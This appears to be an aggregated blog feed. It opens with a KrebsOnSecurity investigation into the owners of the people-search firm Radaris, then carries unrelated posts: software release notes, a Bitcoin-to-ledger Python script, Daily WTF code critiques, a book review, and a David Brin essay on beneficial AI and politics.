An analysis of email addresses known to have been used by Mr. Norden shows he is a native Russian man whose real name is Igor Lybarsky (also spelled Lubarsky). Igor’s brother Dmitry, who goes by “Dan,” appears to be the other co-CEO of Radaris. Dmitry Lybarsky’s Facebook/Meta account says he was born in March 1963.

The Lybarsky brothers Dmitry or “Dan” (left) and Igor a.k.a. “Gary,” in an undated photo.

Indirectly or directly, the Lybarskys own multiple properties in both Sherborn and Wellesley, Mass. However, the Radaris website is operated by an offshore entity called Bitseller Expert Ltd, which is incorporated in Cyprus. Neither Lybarsky brother responded to requests for comment.

A review of the domain names registered by Gary Norden shows that beginning in the early 2000s, he and Dan built an e-commerce empire by marketing prepaid calling cards and VOIP services to Russian expatriates who are living in the United States and seeking an affordable way to stay in touch with loved ones back home.

A Sherborn, Mass. property owned by Barsky Real Estate Trust and Dmitry Lybarsky.

In 2012, the main company in charge of providing those calling services — Wellesley Hills, Mass-based Unipoint Technology Inc. — was fined $179,000 by the U.S. Federal Communications Commission, which said Unipoint never applied for a license to provide international telecommunications services.

DomainTools.com shows the email address gnard@unipointtech.com is tied to 137 domains, including radaris.com. DomainTools also shows that the email addresses used by Gary Norden for more than two decades — epop@comby.com, gary@barksy.com and gary1@eprofit.com, among others — appear in WHOIS registration records for an entire fleet of people-search websites, including: centeda.com, virtory.com, clubset.com, kworld.com, newenglandfacts.com, and pub360.com.

Still more people-search platforms tied to Gary Norden– like publicreports.com and arrestfacts.com — currently funnel interested customers to third-party search companies, such as TruthFinder and PersonTrust.com.

The email addresses used by Gary Nard/Gary Norden are also connected to a slew of data broker websites that sell reports on businesses, real estate holdings, and professionals, including bizstanding.com, homemetry.com, trustoria.com, homeflock.com, rehold.com, difive.com and projectlab.com.

AFFILIATE & ADULT

Domain records indicate that Gary and Dan for many years operated a now-defunct pay-per-click affiliate advertising network called affiliate.ru. That entity used domain name servers tied to the aforementioned domains comby.com and eprofit.com, as did radaris.ru.

A machine-translated version of Affiliate.ru, a Russian-language site that advertised hundreds of money making affiliate programs, including the Comfi.com prepaid calling card affiliate.

Comby.com used to be a Russian language social media network that looked a great deal like Facebook. The domain now forwards visitors to Privet.ru (“hello” in Russian), a dating site that claims to have 5 million users. Privet.ru says it belongs to a company called Dating Factory, which lists offices in Switzerland. Privet.ru uses the Gary Norden domain eprofit.com for its domain name servers.

Dating Factory’s website says it sells “powerful dating technology” to help customers create unique or niche dating websites. A review of the sample images available on the Dating Factory homepage suggests the term “dating” in this context refers to adult websites. Dating Factory also operates a community called FacebookOfSex, as well as the domain analslappers.com.

RUSSIAN AMERICA

Email addresses for the Comby and Eprofit domains indicate Gary Norden operates an entity in Wellesley Hills, Mass. called RussianAmerican Holding Inc. (russianamerica.com). This organization is listed as the owner of the domain newyork.ru, which is a site dedicated to orienting newcomers from Russia to the Big Apple.

Newyork.ru’s terms of service refer to an international calling card company called ComFi Inc. (comfi.com) and list an address as PO Box 81362 Wellesley Hills, Ma. Other sites that include this address are russianamerica.com, russianboston.com, russianchicago.com, russianla.com, russiansanfran.com, russianmiami.com, russiancleveland.com and russianseattle.com (currently offline).

ComFi is tied to Comfibook.com, which was a search aggregator website that collected and published data from many online and offline sources, including phone directories, social networks, online photo albums, and public records.

The current website for russianamerica.com. Note the ad in the bottom left corner of this image for Channel One, a Russian state-owned media firm that is currently sanctioned by the U.S. government.

AMERICAN RUSSIAN MEDIA

Many of the U.S. city-specific online properties apparently tied to Gary Norden include phone numbers on their contact pages for a pair of Russian media and advertising firms based in southern California. The phone number 323-874-8211 appears on the websites russianla.com, russiasanfran.com, and rosconcert.com, which sells tickets to theater events performed in Russian.

Historic domain registration records from DomainTools show rosconcert.com was registered in 2003 to Unipoint Technologies — the same company fined by the FCC for not having a license. Rosconcert.com also lists the phone number 818-377-2101.

A phone number just a few digits away — 323-874-8205 — appears as a point of contact on newyork.ru, russianmiami.com, russiancleveland.com, and russianchicago.com. A search in Google shows this 82xx number range — and the 818-377-2101 number — belong to two different entities at the same UPS Store mailbox in Tarzana, Calif: American Russian Media Inc. (armediacorp.com), and Lamedia.biz.

Armediacorp.com is the home of FACT Magazine, a glossy Russian-language publication put out jointly by the American-Russian Business Council, the Hollywood Chamber of Commerce, and the West Hollywood Chamber of Commerce.

Lamedia.biz says it is an international media organization with more than 25 years of experience within the Russian-speaking community on the West Coast. The site advertises FACT Magazine and the Russian state-owned media outlet Channel One. Clicking the Channel One link on the homepage shows Lamedia.biz offers to submit advertising spots that can be shown to Channel One viewers. The price for a basic ad is listed at $500.

In May 2022, the U.S. government levied financial sanctions against Channel One that bar US companies or citizens from doing business with the company.

The website of lamedia.biz offers to sell advertising on two Russian state-owned media firms currently sanctioned by the U.S. government.

LEGAL ACTIONS AGAINST RADARIS

In 2014, a group of people sued Radaris in a class-action lawsuit claiming the company’s practices violated the Fair Credit Reporting Act. Court records indicate the defendants never showed up in court to dispute the claims, and as a result the judge eventually awarded the plaintiffs a default judgement and ordered the company to pay $7.5 million.

But the plaintiffs in that civil case had a difficult time collecting on the court’s ruling. In response, the court ordered the radaris.com domain name (~9.4M monthly visitors) to be handed over to the plaintiffs.

However, in 2018 Radaris was able to reclaim their domain on a technicality. Attorneys for the company argued that their clients were never named as defendants in the original lawsuit, and so their domain could not legally be taken away from them in a civil judgment.

“Because our clients were never named as parties to the litigation, and were never served in the litigation, the taking of their property without due process is a violation of their rights,” Radaris’ attorneys argued.

In October 2023, an Illinois resident filed a class-action lawsuit against Radaris for allegedly using people’s names for commercial purposes, in violation of the Illinois Right of Publicity Act.

On Feb. 8, 2024, a company called Atlas Data Privacy Corp. sued Radaris LLC for allegedly violating “Daniel’s Law,” a statute that allows New Jersey law enforcement, government personnel, judges and their families to have their information completely removed from people-search services and commercial data brokers. Atlas has filed at least 140 similar Daniel’s Law complaints against data brokers recently.

Daniel’s Law was enacted in response to the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge (his mother). In July 2020, a disgruntled attorney who had appeared before U.S. District Judge Esther Salas disguised himself as a Fedex driver, went to her home and shot and killed her son (the judge was unharmed and the assailant killed himself).

Earlier this month, The Record reported on Atlas Data Privacy’s lawsuit against LexisNexis Risk Data Management, in which the plaintiffs representing thousands of law enforcement personnel in New Jersey alleged that after they asked for their information to remain private, the data broker retaliated against them by freezing their credit and falsely reporting them as identity theft victims.

Another data broker sued by Atlas Data Privacy — pogodata.com — announced on Mar. 1 that it was likely shutting down because of the lawsuit.

“The matter is far from resolved but your response motivates us to try to bring back most of the names while preserving redaction of the 17,000 or so clients of the redaction company,” the company wrote. “While little consolation, we are not alone in the suit – the privacy company sued 140 property-data sites at the same time as PogoData.”

Atlas says their goal is convince more states to pass similar laws, and to extend those protections to other groups such as teachers, healthcare personnel and social workers. Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states would limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminals charges against media outlets that publish the same type of public and governments records that fuel the people-search industry.

PEOPLE-SEARCH CARVE-OUTS

There are some pending changes to the US legal and regulatory landscape that could soon reshape large swaths of the data broker industry. But experts say it is unlikely that any of these changes will affect people-search companies like Radaris.

On Feb. 28, 2024, the White House issued an executive order that directs the U.S. Department of Justice (DOJ) to create regulations that would prevent data brokers from selling or transferring abroad certain data types deemed too sensitive, including genomic and biometric data, geolocation and financial data, as well as other as-yet unspecified personal identifiers. The DOJ this week published a list of more than 100 questions it is seeking answers to regarding the data broker industry.

In August 2023, the Consumer Financial Protection Bureau (CFPB) announced it was undertaking new rulemaking related to data brokers.

Justin Sherman, an adjunct professor at Duke University, said neither the CFPB nor White House rulemaking will likely address people-search brokers because these companies typically get their information by scouring federal, state and local government records. Those government files include voting registries, property filings, marriage certificates, motor vehicle records, criminal records, court documents, death records, professional licenses, bankruptcy filings, and more.

“These dossiers contain everything from individuals’ names, addresses, and family information to data about finances, criminal justice system history, and home and vehicle purchases,” Sherman wrote in an October 2023 article for Lawfare. “People search websites’ business pitch boils down to the fact that they have done the work of compiling data, digitizing it, and linking it to specific people so that it can be searched online.”

Sherman said while there are ongoing debates about whether people search data brokers have legal responsibilities to the people about whom they gather and sell data, the sources of this information — public records — are completely carved out from every single state consumer privacy law.

“Consumer privacy laws in California, Colorado, Connecticut, Delaware, Indiana, Iowa, Montana, Oregon, Tennessee, Texas, Utah, and Virginia all contain highly similar or completely identical carve-outs for ‘publicly available information’ or government records,” Sherman wrote. “Tennessee’s consumer data privacy law, for example, stipulates that “personal information,” a cornerstone of the legislation, does not include ‘publicly available information,’ defined as:

“…information that is lawfully made available through federal, state, or local government records, or information that a business has a reasonable basis to believe is lawfully made available to the general public through widely distributed media, by the consumer, or by a person to whom the consumer has disclosed the information, unless the consumer has restricted the information to a specific audience.”

Sherman said this is the same language as the carve-out in the California privacy regime, which is often held up as the national leader in state privacy regulations. He said with a limited set of exceptions for survivors of stalking and domestic violence, even under California’s newly passed Delete Act — which creates a centralized mechanism for consumers to ask some third-party data brokers to delete their information — consumers across the board cannot exercise these rights when it comes to data scraped from property filings, marriage certificates, and public court documents, for example.

“With some very narrow exceptions, it’s either extremely difficult or impossible to compel these companies to remove your information from their sites,” Sherman told KrebsOnSecurity. “Even in states like California, every single consumer privacy law in the country completely exempts publicly available information.”

Below is a mind map that helped KrebsOnSecurity track relationships between and among the various organizations named in the story above:

A mind map of various entities apparently tied to Radaris and the company’s co-founders. Click to enlarge.

Inability to properly program dates continued to afflict various websites last week, even though the leap day itself had passed. Maybe we need a new programming language in which it's impossible to forget about timezones, leap years, or Thursday.

Timeless Thomas subtweeted "I'm sure there's a great date-related WTF story behind this tweet" Gosh, I can't imagine what error this could be referring to.

Data historian Jonathan babbled "Today, the 1st of March, is the start of a new tax year here and my brother wanted to pull the last years worth of transactions from a financial institution to declare his taxes. Of course the real WTF is that they only allow up to 12 months." I am not able rightly to apprehend the confusion of ideas that could provoke such an error'd.

Ancient Matthew S. breathed a big sigh of relief on seeing this result: "Good to know that I'm up to date as of 422 years ago!"

Jaroslaw gibed "Looks like a translation mishap... What if I didn't knew English?" Indeed.

Hardjay vexillologist Julien casts some shade without telling us where to direct our disdain "I don't think you can have dark mode country flags..." He's not wrong.

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Author: Jennifer Thomas Get advice from three generations of Thompson women: Sara (age 90), Lydia (age 60), and Willa (age 15)! They all receive the same questions but answer independently. Today they discuss the most-asked question of the year! Dear Thompsons, My partner and I are arguing about whether to have children. I want a […]

The post Ask the Thompsons appeared first on 365tomorrows.

The diffoscope maintainers are pleased to announce the release of diffoscope version 260. This version includes the following changes:

[ Chris Lamb ]
* Actually test 7z support in the test_7z set of tests, not the lz4
  functionality. (Closes: reproducible-builds/diffoscope#359)
* In addition, correctly check for the 7z binary being available
  (and not lz4) when testing 7z.
* Prevent a traceback when comparing a contentful .pyc file with an
  empty one. (Re: Debian:#1064973)

You find out more by visiting the project homepage.

Thrilled to share that a new version of prrd arrived at CRAN yesterday in a first update in two and a half years. prrd facilitates the parallel running [of] reverse dependency [checks] when preparing R packages. It is used extensively for releases I make of Rcpp, RcppArmadillo, RcppEigen, BH, and others.

The key idea of prrd is simple, and described in some more detail on its webpage and its GitHub repo. Reverse dependency checks are an important part of package development that is easily done in a (serial) loop. But these checks are also generally embarassingly parallel as there is no or little interdependency between them (besides maybe shared build depedencies). See the (dated) screenshot (running six parallel workers, arranged in a split byobu session).

This release, the first since 2021, brings a number of enhancments. In particular, the summary function is now improved in several ways. Josh also put in a nice PR that generalizes some setup defaults and values.

The release is summarised in the NEWS entry:

Changes in prrd version 0.0.6 (2024-03-06)

• The summary function has received several enhancements:

  • Extended summary is only running when failures are seen.

  • The summariseQueue function now displays an anticipated completion time and remaining duration.

  • The use of optional package foghorn has been refined, and refactored, when running summaries.

• The dequeueJobs.r scripts can receive a date argument, the date can be parse via anydate if anytime ins present.

• The enqueeJobs.r now considers skipped package when running 'addfailed' while ensuring selecting packages are still on CRAN.

• The CI setup has been updated (twice),

• Enqueing and dequing functions and scripts now support relative directories, updated documentation (#18 by Joshua Ulrich).

Courtesy of my CRANberries, there is also a diffstat report for this release.

If you like this or other open-source work I do, you can sponsor me at GitHub.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

A while back I wrote a small script to extract the Bitcoin transactions in a wallet in the ledger plain text accounting format. The last few days I spent some time to get it working better with more special cases. In case it can be useful for others, here is a copy:

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
#  Copyright (c) 2023-2024 Petter Reinholdtsen

from decimal import Decimal
import json
import subprocess
import time

import numpy

def format_float(num):
    return numpy.format_float_positional(num, trim='-')

accounts = {
    u'amount' : 'Assets:BTC:main',
}

addresses = {
    '' : 'Assets:bankkonto',
    '' : 'Assets:bankkonto',
}

def exec_json(cmd):
    proc = subprocess.Popen(cmd,stdout=subprocess.PIPE)
    j = json.loads(proc.communicate()[0], parse_float=Decimal)
    return j

def list_txs():
    # get all transactions for all accounts / addresses
    c = 0
    txs = []
    txidfee = {}
    limit=100000
    cmd = ['bitcoin-cli', 'listtransactions', '*', str(limit)]
    if True:
        txs.extend(exec_json(cmd))
    else:
        # Useful for debugging
        with open('transactions.json') as f:
            txs.extend(json.load(f, parse_float=Decimal))
    #print txs
    for tx in sorted(txs, key=lambda a: a['time']):
#        print tx['category']
        if 'abandoned' in tx and tx['abandoned']:
            continue
        if 'confirmations' in tx and 0 >= tx['confirmations']:
            continue
        when = time.strftime('%Y-%m-%d %H:%M', time.localtime(tx['time']))
        if 'message' in tx:
            desc = tx['message']
        elif 'comment' in tx:
            desc = tx['comment']
        elif 'label' in tx:
            desc = tx['label']
        else:
            desc = 'n/a'
        print("%s %s" % (when, desc))
        if 'address' in tx:
            print("  ; to bitcoin address %s" % tx['address'])
        else:
            print("  ; missing address in transaction, txid=%s" % tx['txid'])
        print(f"  ; amount={tx['amount']}")
        if 'fee'in tx:
            print(f"  ; fee={tx['fee']}")
        for f in accounts.keys():
            if f in tx and Decimal(0) != tx[f]:
                amount = tx[f]
                print("  %-20s   %s BTC" % (accounts[f], format_float(amount)))
        if 'fee' in tx and Decimal(0) != tx['fee']:
            # Make sure to list fee used in several transactions only once.
            if 'fee' in tx and tx['txid'] in txidfee \
               and tx['fee'] == txidfee[tx['txid']]:
                True
            else:
                fee = tx['fee']
                print("  %-20s   %s BTC" % (accounts['amount'], format_float(fee)))
                print("  %-20s   %s BTC" % ('Expences:BTC-fee', format_float(-fee)))
                txidfee[tx['txid']] = tx['fee']

        if 'address' in tx and tx['address'] in addresses:
            print("  %s" % addresses[tx['address']])
        else:
            if 'generate' == tx['category']:
                print("  Income:BTC-mining")
            else:
                if amount < Decimal(0):
                    print(f"  Assets:unknown:sent:update-script-addr-{tx['address']}")
                else:
                    print(f"  Assets:unknown:received:update-script-addr-{tx['address']}")

        print()
        c = c + 1
    print("# Found %d transactions" % c)
    if limit == c:
        print(f"# Warning: Limit {limit} reached, consider increasing limit.")

def main():
    list_txs()

main()

It is more of a proof of concept, and I do not expect it to handle all edge cases, but it worked for me, and perhaps you can find it useful too.

To get a more interesting result, it is useful to map accounts sent to or received from to accounting accounts, using the addresses hash. As these will be very context dependent, I leave out my list to allow each user to fill out their own list of accounts. Out of the box, 'ledger reg BTC:main' should be able to show the amount of BTCs present in the wallet at any given time in the past. For other and more valuable analysis, a account plan need to be set up in the addresses hash. Here is an example transaction:

2024-03-07 17:00 Donated to good cause
    Assets:BTC:main                           -0.1 BTC
    Assets:BTC:main                       -0.00001 BTC
    Expences:BTC-fee                       0.00001 BTC
    Expences:donations                         0.1 BTC

It need a running Bitcoin Core daemon running, as it connect to it using bitcoin-cli listtransactions * 100000 to extract the transactions listed in the Wallet.

As usual, if you use Bitcoin and want to show your support of my activities, please send Bitcoin donations to my address 15oWEoG9dUPovwmUL9KWAnYRtNJEkP1u1b.

Today, John sends us a confession. This is his code, which was built to handle ISO 8583 messages. As we'll see from some later comments, John knows this is bad.

The ISO 8583 format is used mostly in financial transaction processing, frequently to talk to ATMs, but is likely to show up somewhere in any transaction you do that isn't pure cash.

One of the things the format can support is bitmaps- not the image format, but the "stuff flags into an integer" format. John wrote his own version of this, in C#. It's a long class, so I'm just going to focus on the highlights.

private readonly bool[] bits;

Look, we don't start great. This isn't an absolute mistake, but if you're working on a data structure that is meant to be manipulated via bitwise operations, just lean into it. And yes, if endianness is an issue, you'll need to think a little harder- but you need to think about that anyway. Use clear method names and documentation to make it readable.

In this developer's defense, the bitmap's max size is 128 bits, which doesn't have a native integral type in C#, but a pair of 64-bits would be easier to understand, at least for me. Maybe I've just been infected by low-level programming brainworms. Fine, we're using an array.

Now, one thing that's important, is that we're using this bitmap to represent multiple things.

public bool IsExtendedBitmap
{
	get
	{
		return this.IsFieldSet(1);
	}
}

Note how the 1st bit in this bitmap is the IsExtendedBitmap flag. This controls the length of the total bitmap.

Which, as an aside, they're using IsFieldSet because zero-based indexes are too hard:

public bool IsFieldSet(int field)
{
	return this.bits[field - 1];
}

But things do get worse.

/// <summary>
/// Sets a field
/// </summary>
/// <param name="field">
/// Field to set 
/// </param>
/// <param name="on">
/// Whether or not the field is on 
/// </param>
public void SetField(int field, bool on)
{
	this.bits[field - 1] = on;
	this.bits[0] = false;
	for (var i = 64; i <= 127; i++)
	{
		if (this.bits[i])
		{
			this.bits[0] = true;
			break;
		}
	}
}

I included the comments here because I want to highlight how useless they are. The first line makes sense. Then we set the first bit to false. Which, um, was the IsExtendedBitmap flag. Why? I don't know. Then we iterate across the back half of the bitmap and if there's anything true in there, we set that first bit back to true.

Which, by writing that last paragraph, I've figured out what it's doing: it autodetects whether you're using the higher order bits, and sets the IsExtendedBitmap as appropriate. I'm not sure this is actually correct behavior- what happens if I want to set a higher order bit explicitly to 0?- but I haven't read the spec, so we'll let it slide.

public virtual byte[] ToMsg()
{
	var lengthOfBitmap = this.IsExtendedBitmap ? 16 : 8;
	var data = new byte[lengthOfBitmap];

	for (var i = 0; i < lengthOfBitmap; i++)
	{
		for (var j = 0; j < 8; j++)
		{
			if (this.bits[i * 8 + j])
			{
				data[i] = (byte)(data[i] | (128 / (int)Math.Pow(2, j)));
			}
		}
	}

	if (this.formatter is BinaryFormatter)
	{
		return data;
	}

	IFormatter binaryFormatter = new BinaryFormatter();
	var bitmapString = binaryFormatter.GetString(data);

	return this.formatter.GetBytes(bitmapString);
}

Here's our serialization method. Note how here, the length of the bitmap is either 8 or 16, while previously we were checking all the bits from 64 up to see if it was extended. At first glance, this seemed wrong, but then I realized- data is a byte[]- so 16 bytes is indeed 128 bits.

This gives them the challenging problem of addressing individual bits within this data structure, and they clearly don't know how bitwise operations work, so we get the lovely Math.Pow(2, j) in there.

Ugly, for sure. Unclear, definitely. Which only gets worse when we start unpacking.

public int Unpack(byte[] msg, int offset)
{
	// This is a horribly nasty way of doing the bitmaps, but it works
	// I think...
	var lengthOfBitmap = this.formatter.GetPackedLength(16);
	if (this.formatter is BinaryFormatter)
	{
		if (msg[offset] >= 128)
		{
			lengthOfBitmap += 8;
		}
	}
	else
	{
		if (msg[offset] >= 0x38)
		{
			lengthOfBitmap += 16;
		}
	}

	var bitmapData = new byte[lengthOfBitmap];
	Array.Copy(msg, offset, bitmapData, 0, lengthOfBitmap);

	if (!(this.formatter is BinaryFormatter))
	{
		IFormatter binaryFormatter = new BinaryFormatter();
		var value = this.formatter.GetString(bitmapData);
		bitmapData = binaryFormatter.GetBytes(value);
	}

	// Good luck understanding this.  There be dragons below

	for (var j = 0; j < 8; j++)
	{
		this.bits[i * 8 + j] = (bitmapData[i] & (128 / (int)Math.Pow(2, j))) > 0;
	}

	return offset + lengthOfBitmap;
}

Here, we get our real highlights: the comments. "… but it works… I think…". "Good luck understanding this. There be dragons below."

Now, John wrote this code some time ago. And the thing that I get, when reading this code, is that John was likely somewhat green, and didn't fully understand the problem in front of him or the tools at his disposal to solve it. Further, this was John's independent project, which he was doing to solve a very specific problem- so while the code has problems, I wouldn't heap up too much blame on John for it.

Which, like many other confessional Code Samples-of-the-Day, I'm sharing this because I think it's an interesting learning experience. It's less a "WTF!" and more a, "Oh, man, I see that things went really wrong for you." We all make mistakes, and we all write terrible code from time to time. Credit to John for sharing this mistake.

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Author: Jeremy Marks One morning an unfamiliar odor filled the air. Sweet at first, the scent soon reeked of rot. It was not a domestic smell but something wild: a floating carpet of flowers a few kilometers offshore. Townsfolk used spyglasses to study a mysterious group of floaters, a floating carpet of uncountable horned plants. […]

The post Wall appeared first on 365tomorrows.

This post is a review for Computing Reviews for Constructed truths — truth and knowledge in a post-truth world , a book published in Springer Link

Many of us grew up used to having some news sources we could implicitly trust, such as well-positioned newspapers and radio or TV news programs. We knew they would only hire responsible journalists rather than risk diluting public trust and losing their brand’s value. However, with the advent of the Internet and social media, we are witnessing what has been termed the “post-truth” phenomenon. The undeniable freedom that horizontal communication has given us automatically brings with it the emergence of filter bubbles and echo chambers, and truth seems to become a group belief.

Contrary to my original expectations, the core topic of the book is not about how current-day media brings about post-truth mindsets. Instead it goes into a much deeper philosophical debate: What is truth? Does truth exist by itself, objectively, or is it a social construct? If activists with different political leanings debate a given subject, is it even possible for them to understand the same points for debate, or do they truly experience parallel realities?

The author wrote this book clearly prompted by the unprecedented events that took place in 2020, as the COVID-19 crisis forced humanity into isolation and online communication. Donald Trump is explicitly and repeatedly presented throughout the book as an example of an actor that took advantage of the distortions caused by post-truth.

The first chapter frames the narrative from the perspective of information flow over the last several decades, on how the emergence of horizontal, uncensored communication free of editorial oversight started empowering the “netizens” and created a temporary information flow utopia. But soon afterwards, “algorithmic gatekeepers” started appearing, creating a set of personalized distortions on reality; users started getting news aligned to what they already showed interest in. This led to an increase in polarization and the growth of narrative-framing-specific communities that served as echo chambers for disjoint views on reality. This led to the growth of conspiracy theories and, necessarily, to the science denial and pseudoscience that reached unimaginable peaks during the COVID-19 crisis. Finally, when readers decide based on completely subjective criteria whether a scientific theory such as global warming is true or propaganda, or question what most traditional news outlets present as facts, we face the phenomenon known as “fake news.” Fake news leads to “post-truth,” a state where it is impossible to distinguish between truth and falsehood, and serves only a rhetorical function, making rational discourse impossible.

Toward the end of the first chapter, the tone of writing quickly turns away from describing developments in the spread of news and facts over the last decades and quickly goes deep into philosophy, into the very thorny subject pursued by said discipline for millennia: How can “truth” be defined? Can different perspectives bring about different truth values for any given idea? Does truth depend on the observer, on their knowledge of facts, on their moral compass or in their honest opinions?

Zoglauer dives into epistemology, following various thinkers’ ideas on what can be understood as truth: constructivism (whether knowledge and truth values can be learnt by an individual building from their personal experience), objectivity (whether experiences, and thus truth, are universal, or whether they are naturally individual), and whether we can proclaim something to be true when it corresponds to reality. For the final chapter, he dives into the role information and knowledge play in assigning and understanding truth value, as well as the value of second-hand knowledge: Do we really “own” knowledge because we can look up facts online (even if we carefully check the sources)? Can I, without any medical training, diagnose a sickness and treatment by honestly and carefully looking up its symptoms in medical databases?

Wrapping up, while I very much enjoyed reading this book, I must confess it is completely different from what I expected. This book digs much more into the abstract than into information flow in modern society, or the impact on early 2020s politics as its editorial description suggests. At 160 pages, the book is not a heavy read, and Zoglauer’s writing style is easy to follow, even across the potentially very deep topics it presents. Its main readership is not necessarily computing practitioners or academics. However, for people trying to better understand epistemology through its expressions in the modern world, it will be a very worthy read.

Just back from an important conference (in Panama) about ways to ensure that the looming tsunami of Artificial Intelligences will become and remain 'beneficial.' Few endeavors could be more important... and as you might guess, I have some concepts on-offer that you'll find nowhere else. Alas, literally  nowhere else. Even though they merely apply only the same tools we used to make an increasingly beneficial society, the last 200 years.

More on that later. Meanwhile... first off, since it's much in the news... want to see what the Apple Vision Pro will turn into within a few years? Watch this video trailer for my novel Existence. predicting where it'll go.

And while we're on prophecies.... This is deeply worrisome... and almost exactly overlaps with my "Probationers" in Sundiver! Back in 1978. Not a joke or a satire.

== The Futility of Hiding ==

One purpose for the "Beneficial AGI Conference"  - (and I believe the stream will be up, soon) - was seeking ways to evade the worst and most persistent errors of the past.

Take the classic approach to human civilization - a pyramidal power structure dominated by brutal males, of the kind that ruled 99% of human societies - and many despotisms today. We are all descended from those harems. Onlynow, new tools of techno;logy might empower a return to such pyramidal stupidity, making such abusive power vasty more effective and oppressive than when it was enforced by mere swords.

Such a tech rich extension of despotisd was depicted by George Orwell utilizing total panopticon surveillance for control, of course without any reciprocal sousveillance purview from below. In fact, I doubt George O. ever considered even the possibility. But Orwell's novel would lead to very different outcomes if every member of 'the party' had every moment watched reciprocally by the prols! (The reciprocoal accountability that I prescribed in The Transparent Society.) 

General transparency might, possibly, prevent the worst aspects of Big Brother. But there are ways that lateral light might also go badly. For example when - as in the PRC - "social credit" system, that is used to let a conformist majority harass and bully dissident minorities or even eccentricity, enforcing homogeneity, as we saw predicted in Ray Bradbury's Fahrenheit 451.

This will be exacerbated by AI, if we aren't careful, since such systems will be able to sieve inputs across the entire internet and all camera systems, as portrayed in "Person of Interest."  While that TV series depicted many worrisome aspects, it also pointed toward the one thing that might offer us a soft landing, as there were two competing AI systems that tended to cancel out each others' worst traits.

I have found it very strange that almost none of the conferences and zoom meetings about AI that I've watched or participated in has ever even mentioned that secret sauce. (Though I do, here in WIRED.)

Instead, there are relentless, hand-wringing discussions about disagreements between "policy wonks' and nerdy tech geeks over how to design regulations to limit bad AI outcomes... and never any allowance for the fact that these changes will happen at an accelerating pace, leaving even our most agile regulators behind, mere ape-humans grasping after answers like a tree sloth. 

Or else... what generally happens at many sincere conferences on "AI ethics," we see a relentless chain of hippie-sounding pleadings and "shoulds," without any clue how to do actually enforce preachy 'ethics' on a new ecosystem where all of the attractor states currently draw towards predation..

In Foundation's Triumph I explored the implications of embedded "deep-ethical-programming" regulations - including Isaac Asimov's "three laws of robotics," revealing the inevitable result. Even if you succeed in emplanting truly genetic-level codes of behavior, the result will be that super-uber intelligent systems will simply become... lawyers, and find ways around every limitation. Unless...

...unless they are caught and constrained by other lawyers who are able to keep up. This is exactly the technique that allowed us to limit the power of elites, to end 6000 years of feudalism and launch upon our 240 year Periclean enlightenment experiment... by flattening power structures and forcing elite entities to compete with one another.

It is only the exact method prescribed by Adam Smith, by the US framers and by every generation of reformers since. And it is utterly ignored in every single AI/internet discussion or conference I have ever watched or attended.

If AI are destined to outpace us, then one potential solution is to flatten the playing field and get distinctly different AIs competing with each other, especially tattling on flaws and/or predations or malevolent or even unpleasant behaviors.

It is exactly what we have done for 250 years... and it is the one approach that is never, ever, and I mean ever discussed. Almost as if there is a mental block against admitting or even noticing the obvious.

== Don’t try to hide!”

Your DNA can be pulled from thin air: Reinforcing a point I’ve been pushing since the 1990s, in The Transparent Society and elsewhere, that hiding is not the way to preserve privacy, there are the shrill cries that new generative AI systems may decipher and interpret our personal DNA! Only – as illustrated in the film Gattaca – that DNA is already everywhere. You shed it in flakes of skin wherever you go. There is a better way to prevent your data being used against you. By aggressively ripping the veils away from malefactors who might do that sort of thing! 

And by this point, the only folks reading any longer are likely AIs... So, time to get self-indulgent with a temper tantrum!

== And now... that rant I promised! ==

I sometimes store things for posting and lose the link. But here's a quotation worth answering:

"Alas, we have TWO wars against the Enlightenment raging, one from the reactionary right and the other from the postmodern faux marxist wannabe totalitarian Red Guards on the left."

Bah! One of these lethal threats is real, but not because of MAGA. Those tens of millions of confederate ground troops are -- like numbskulls in all the previous 7 phases of our recurring US Civil War -- merely riled-up mobs, responding to dog whistles and hatred of minorities and nerds.  They are brownshirt tools of the real owners of today's GOP ... a few thousand oligarchs who are now desperately afraid. 

What do theose masters -- here and abroad -- fear most? You can see it in the only priorities pushed by their servants in Congress:

They dread full-funding of the IRS. And a return to effective rooseveltean social contracts, replacing the great Supply Side ripoff-scam. They fear a return to what works, what created the post WWII middle class. What could block feudalism's long planned return.  And let's be clear, when Republicans control a chamber of the US Congress, preserving Supply Side and eviscerating the IRS are their ONLY legislative priorities. All the rest is fervid, potemkin preening.

Who are they? An alliance of petro princes, casino mafiosi, "ex" Kremlin commissars, supposed marxist mandarins, hedge lords, inheritance brats... Trace it... sharing one goal. One common foe. The worldwide caste of skilled, middle class knowledge professionals. 

They are ALL waging all-out war vs ALL fact using professions, from science and teaching, medicine and law and civil service to the heroes of the FBI/Intel/Military officer corps who won the Cold War and the War on terror. 

== BOTH sides do it? ==

But the left?  The LEFT is just as bad?  

The what? 

Where in God's name does this shill get this crap about "postmodern faux marxist wannabe totalitarian Red Guards on the left." ???

Yes. Yes, today's FAR left CONTAINS some fact-allergic, troglodyte-screeching dogmatists who wage war on science and hate the American tradition of steady, pragmatic reform, and who would impose their prescribed morality on you.   

But today’s mad ENTIRE right CONSISTS of fact-allergic, troglodyte-screeching dogmatists who wage war on science and hate the American tradition of steady, pragmatic reform, and who would impose their prescribed morality on you.     

There is all the world’s difference between FAR and ENTIRE.  As there is between CONTAINS and CONSISTS.  One lunatic mob owns and operates an entire US political party, waging open war against minorities, races, genders, even the concept of equal protection under the law. But above all (as I said) pouring hate upon the nerdy fact professionals who stand in their way, blocking their path back to feudal power. 

The other pack of dopes? A few thousand jibbering campus twerps? San Fran zippies? Yowlers who are largely ignored by the one party of pragmatic problem solvers that remains in U.S. political life.

Sure, Foxites howl about 'woke'. But ask any of them... even the worst campus PC bullies (and though shrill, they are deemed jokes, even on campus). Ask them about Marx!  You'll find that the indignant ignoramuses could not paraphrase even the simplest cliché about old Karl. Their ignorance is almost as profound as their utter ineptitude and irrelevance. Except as excuses for tirades on Fox, they are of no relevance at all.

What is relevant is NERDS!  All nerds stand in the way of re-imposed feudalism. The folks who keep civilization going. The ones who know cyber, bio, nuclear, chem and every other dual use power-tech. And that is why Fox each day rails against them, far more often than any race or gender!

